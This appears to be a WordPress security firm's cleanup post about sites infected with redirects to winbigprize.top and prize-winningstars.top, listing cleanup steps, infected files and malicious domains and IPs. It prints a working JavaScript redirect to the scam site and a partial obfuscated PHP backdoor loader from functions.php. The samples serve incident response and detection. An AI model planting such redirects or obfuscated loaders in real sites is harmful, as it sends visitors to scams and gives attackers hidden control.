How To Clean WordPress winbigprize.top & prize-winningstars.top

This week we cleaned several websites with the same type of contamination, including injected functions.php files, malicious users with admin privileges, and malicious themes installed.

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Cleanup steps

  • Make sure the WordPress files are intact and updated – including index.php and wp-config.php files.
  • Review the themes and plugins folders, apply all the available updates – delete any malicious folders.
  • Review the users list with admin privileges.

Malicious files in the “themes” folder:
hello-element/footer.php

Malicious URLs
https://winbigprize.top/route
https://prize-winningstars.top/?u=0cuptem&o=1t20vlz&t=rd1
https://win-jackpot-new.life/?u=0cuptem

Other malicious networks
s.viizkktf.com, 31.220.27.155, 185.98.54.153, AS39572 DataWeb Global Group B.V.
metpuc0.edrealreal.live, metpuc0.unwanbond.live, 185.155.186.25, 185.155.184.55, AS6898, SERVER.swiss Sagl
dw.lp.eu.playzone1.com, 3.161.82.30, AS16509, Amazon.com, Inc.

Malicious files
wp-admin/.default, wp-admin/.bt, wp-admin/css/.bt, update-core.php, wp-includes/class-wp-http-netfilter.php, wp-admin/includes/update-core.php, themes/hello-element/footer.php and functions.php

<script>window.location.replace("https://winbigprize.top/route");</script>

Malicious code 8/61 lines

<?php

@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c8oCrPYgfAwH7Z8bIfCUPxfXN70cmCWIX7HVoQ==";

Malware injected in the functions.php file


Known malware: redirect?vextrio.2
SMW-BLKH-SA-CLOUDAV-php.bkdr.wpvcd-15034-2

Malicious page content:
Dear Chrome User, Congratulations! You have been selected as today’s lucky visitor on July 1, 2024
Complete this short survey and receive a chance to win a $1000 Amazon Giftcard as our way of saying “Thank You”!”

Related articles:

WordPress Hack – .bt // lmlink1-redirect


https://dev.to/bitofwp/how-to-detect-the-bt-wordpress-hack-37o9

If you’ve recently noticed suspicious redirects to winbigprize.top and prize-winningstars.top, we can help.

Our skilled malware analysts are available 24/7 to fix hacked WordPress websites and clean up malware – reach out to us if you need help.

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